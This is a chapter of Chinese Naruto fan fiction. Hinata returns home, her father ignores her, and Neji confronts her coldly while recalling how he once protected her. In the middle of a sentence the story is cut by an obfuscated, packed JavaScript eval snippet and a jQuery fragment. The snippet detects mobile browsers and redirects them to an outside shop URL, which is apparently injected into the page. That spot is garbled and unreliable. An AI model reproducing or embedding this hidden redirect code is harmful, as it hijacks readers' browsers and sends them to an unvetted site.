第五章:旧日的骑士
日向家的宅邸很大。
越往里走,声音越多,也越空。
廊下有人说话,杯盏轻碰,衣料摩擦,脚步声从不同方向传来。宗家和分家的族人们聚在一起,像往常一样讨论训练、任务、族中的安排。
很热闹。
热闹得雏田胸口更空。
她低着头,抱着保温瓶,贴着廊边往自己的院子走。
今日错过了饭点,也没有提前让人传话。按理说,这是不合规矩的。可她心里很清楚,大概不会有人发现。
发现了,也未必会问。
她经过灯火最亮的厅堂时,脚步不自觉放慢了一点。
也许会有人叫她。
也许会有人问一句:“大小姐,您回来了?”
哪怕只是这样一句,也好。
可是没有。
那些声音从她身边流过去,没有停留。她像一枚掉进水里的白色花瓣,被水流带走,却连涟漪都没有惊起。
雏田很快重新加快脚步。
不想被看见。
也不想被无视。
其实,她只是害怕自己站在那里,被所有人证明——
她真的不重要。
在快要穿过厅堂时,前方出现了一个熟悉的身影。
哪怕只看见衣摆和步伐,她也不可能认错。
“父、父上大人。”
雏田立刻停下,弯腰行礼。
声音很轻,带着一点本能的畏惧。
她等待着父亲的训斥。
哪怕是“为什么回来这么晚”,哪怕是“作为宗家长女,不该如此失仪”,她也会低头接受。
可是日向日足只是从她身边走了过去。
没有停。
没有看她。
甚至连眉头都没有动一下。
雏田仍然保持着行礼的姿势。
直到父亲的脚步声远去,她才慢慢直起身。
胸口像被什么东西挖空了一块。
原来比责骂更冷的,是无视。
原来一个人真的可以站在家里,却像不存在一样。
她扶住身旁的木柱,指尖一点一点发凉。
“父上大人……”
低低的一声,散在空荡荡的走廊里。
没有回应。
雏田垂下眼,睫毛轻轻颤了颤。
她忽然想起佐助的话。
你也可以不高兴。
可是要怎么不高兴呢?
对父亲不高兴吗?
对日向家不高兴吗?
对自己被无视这件事不高兴吗?
雏田不知道。
她只是觉得难过。
难过得心里很冷,像刚才拉面店、街道和黄昏里得到的那些温度,都在走进这座宅邸以后,一点一点被吸走了。
“雏田大小姐。”
身后响起一道冷淡的声音。
雏田回过头。
日向宁次站在不远处,白色的眼睛冷冷看着她。
他比她高一些,背脊挺得很直,额上绑着护额。那双和她一样的白眼里,却没有同族之间应有的亲近,只有一种锋利的、压抑很久的恨意。
雏田下意识低头。
“宁、宁次哥哥。”
她这样叫他的时候,宁次的眼神轻轻动了一下。
很快。
快到连他自己都几乎没有察觉。
从前,她也是这样叫他的。
那时候她还更小一点,脸颊软软的,眼睛大而干净,总是跟在他身后,小声喊:“宁次哥哥。”
那时候的日向宁次,曾经真的像一个小小的骑士。
他会替她捡掉在池边的木球。
会在训练时悄悄放慢动作,怕她摔倒。
会在宗家长老说她“太软弱”时,抿紧嘴唇,站在她身后不说话。
也会在她哭的时候,别扭地递给她一方干净的手帕。
那时他觉得,宗家的大小姐长得很可爱。
白色的眼睛像浸过月光的玉,脸颊很软,笑起来有两个很浅的梨涡。她说话总是很轻,却会认真记得他喜欢什么点心,也会在他练习到很晚时,笨拙地把热茶放到他手边。
她会小声说:“宁次哥哥辛苦了。”
然后把点心推到他面前,眼睛亮亮的,像被夸奖的人不是他,而是她自己。
很讨人喜欢。
讨人喜欢得过分。
可后来,一切都变了。
笼中鸟的咒印落在额头上以后,宁次再看见她,就不再只是看见那个会小声叫他哥哥的小姑娘。
他看见的是宗家。
是命运。
是他永远无法摆脱的笼子。
所以他把目光变冷。
把关心收回去。
把所有曾经想保护她的本能,都压成了刺向她的尖锐恶意。
“这么晚回来。”宁次冷冷道,“宗家大小姐倒是悠闲。”
雏田脸色白了一点。
“对、对不起。”
她总是在道歉。
宁次忽然烦躁起来。
他讨厌她这样。
讨厌她明明站在宗家的位置上,却比谁都像会被风吹倒。
讨厌她明明拥有他永远得不到的身份,却总用那种像受伤小动物一样的眼神看人。
更讨厌的是——
即使到了现在,他仍然能一眼看出她在难过。
他刚才看见了。
看见她向日足行礼,看见日足从她身边走过,看见她慢慢直起身时,眼底那一点灰败下去的光。
宁次本该觉得痛快。
宗家也会被宗家伤害。
这不是很好笑吗?
可是他没有觉得痛快。
他只觉得更烦躁。
像有人把很久以前那个会在他训练后递来热茶的小女孩,从记忆里拖出来,放在现在这个满身怯意的雏田身上。
“只会道歉的话,是无法成为合格忍者的。”
他说得很冷。
雏田的手指轻轻蜷缩。
她本来该像平常一样低头,接受他的厌恶。
可是今天,不知为什么,她想起了很多话。
卡卡西老师说:她是主角。
小樱说:她笑起来很可爱。
佐助君说:她也可以不高兴。
那些话都很小。
小到也许说出口的人并不觉得有什么。
可是它们像一枚一枚细小的光,落在她心底,使她没有办法像过去那样,立刻把自己完全缩回黑暗里。
雏田慢慢抬起头。
她仍然害怕。
声音仍旧很轻。
可这一次,她没有立刻退缩。
“我会努力的,宁次哥哥。”
宁次怔了一下。
因为她看着他。
不是逃避,也不是怯懦地低下头。
那双白眼仍然柔软,却有一点很浅的光。
像被尘埃盖住的玉,终于在某个瞬间,露出一点温润的本色。
“努力?”
宁次冷笑。
“宗家的大小姐只要站在那里,自然会有人替你铺好路。你当然可以说努力。”
雏田的脸更白了。
这句话像针。
扎得很细,很深。
可这一次,她没有立刻道歉。
她只是轻轻抿住唇。
过了好一会儿,才低声说:
“如果可以的话,我也不希望宁次哥哥痛苦。”
宁次的瞳孔微微一缩。
走廊里静了一瞬。
雏田说完也愣住了。
她并不是想反驳他。
更不是想用这句话伤害他。
只是刚才那一刻,她忽然想起了很小的时候,宁次哥哥站在她身前替她挡住其他孩子的样子。
也想起后来,他额头上多了护额,眼神一天比一天冷。
她不知道笼中鸟到底有多痛。
可她知道,宁次哥哥不是从一开始就这样恨她的。
所以她说了出来。
很笨拙。
也很真心。
宁次看着她。
怒意本该涌上来。
他本该讥讽她,宗家的同情是多么廉价。可那句话卡在喉咙里,竟然没有立刻说出口。
她的脸在廊下灯火里显得格外白,额发柔软地垂在脸侧。长睫微微颤着,眼睛湿润却没有哭。
她长得确实很好看。
宁次比谁都早知道这一点。
小时候就知道。
她不是锋利夺目的美,而是柔软、清澈、让人难以真正下狠心伤害的美。像一块被藏起来的玉,干净、温润,哪怕被尘土盖住,也仍旧会在某个角度泄出一点光。
再过几年,她大概会出落得更漂亮。
会像被月光养大的花,安静、白净,柔软,却在无声无息间开得让人移不开眼。
宁次猛地别开脸。
他不该想这个。
尤其不该在憎恨宗家的时候,想起她曾经有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821939|211160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多可爱。
更不该因为她一句“不希望你痛苦”,就让胸口那点被命运磨得冰冷的地方,忽然像被什么温热的东西碰了一下。
“少露出那种表情。”
他的声音比刚才更冷。
“我不需要宗家的怜悯。”
雏田的睫毛颤了颤。
这一次,她没有急着解释。
她只是把保温瓶抱紧了一点,低声说:
“不是怜悯。”
宁次脚步停住。
雏田看着他,声音轻得像怕惊动什么。
“只是……我记得宁次哥哥以前会疼。”
宁次的背影僵了一瞬。
她说得太轻。
可就是这样轻的一句话,像一把没有锋刃的刀,慢慢割开了某个被他封起来的记忆。
以前。
在笼中鸟之前。
在父亲死去之前。
在他还没有学会用恨意看着宗家之前。
他也曾经会疼。
也曾经有人看见他疼。
那个人是很小的雏田,抱着热茶站在训练场边,怯生生地说:
“宁次哥哥,手……流血了。”
那时候他觉得她啰嗦。
可还是接过了她递来的手帕。
宁次闭了闭眼。
再睁开时,目光重新变冷。
“多管闲事。”
说完,他转身离开。
步子很快。
像怕多停一秒,就会泄露出什么不该有的情绪。
雏田站在原地,望着他的背影。
她知道宁次哥哥还是讨厌她。
可是刚才那一瞬间,她好像在他眼里看见了别的东西。
不是只有憎恨。
还有一点很深、很旧的痛。
-------------------------------
回到房间后,雏田关上门。
她没有立刻拉上窗帘。
月亮已经升起来了。
弯弯的一轮,孤单地挂在夜空里,周围没有星星,也没有云。它不像太阳那样热烈,却在一片深蓝的黑暗里,静静散发着温柔的光。
雏田站在窗前,看了很久。
今天,她被父亲无视了。
被宁次哥哥刺伤了。
也还是没能好好和鸣人君说话。
可是今天,也有人看见了她。
卡卡西老师看见她不安,于是停住了第七班的脚步。
小樱看见她的笑,说她可爱。
鸣人君喝了她做的红豆汤,说很好喝。
佐助君看见天快黑了,于是送她回来,还告诉她,她也可以不高兴。
这些都是很小很小的事情。
小到也许别人转头就会忘记。
可对雏田来说,却像月光一样,一点一点落在她心里。
她伸手摸了摸自己的脸。
好看吗?
小樱说她笑起来好看。
鸣人君也说过。
可是日向家从来不在意这个。
忍者是不需要漂亮的。
宗家的继承人更不该只被漂亮形容。
可是雏田忽然想,也许漂亮并不是没有意义的东西。
不是为了让别人夸她。
而是如果她可以抬起头,可以不再总是躲在别人身后,可以让自己笑起来时不那么害怕被看见——
那么,会不会有一天,她也可以喜欢这样的自己?
她不知道。
她只是把保温瓶放到桌上,慢慢拉开窗帘,让月光落进来。
她还是很害怕。
还是很软弱。
还是会因为别人一句冷淡的话难过很久。
可是今天,她好像没有完全碎掉。
因为有几句话,被她很小心地藏进了心里。
你是今天的主角。
你笑起来很好看。
你也可以不高兴。
还有——
我会努力的,宁次哥哥。
雏田抬起头,看向窗外的月亮。
月光落在她白色的眼睛里,像落进一块仍未被打磨完全的玉。
她还不知道自己将来会变成什么样子。
也不知道有多少人会在未来某一天,后知后觉地发现她的温润与漂亮。
她只是在这个夜晚,很轻很轻地对自己说:
“明天……也要努力。”
声音很小。
可在寂静的房间里,已经足够清晰。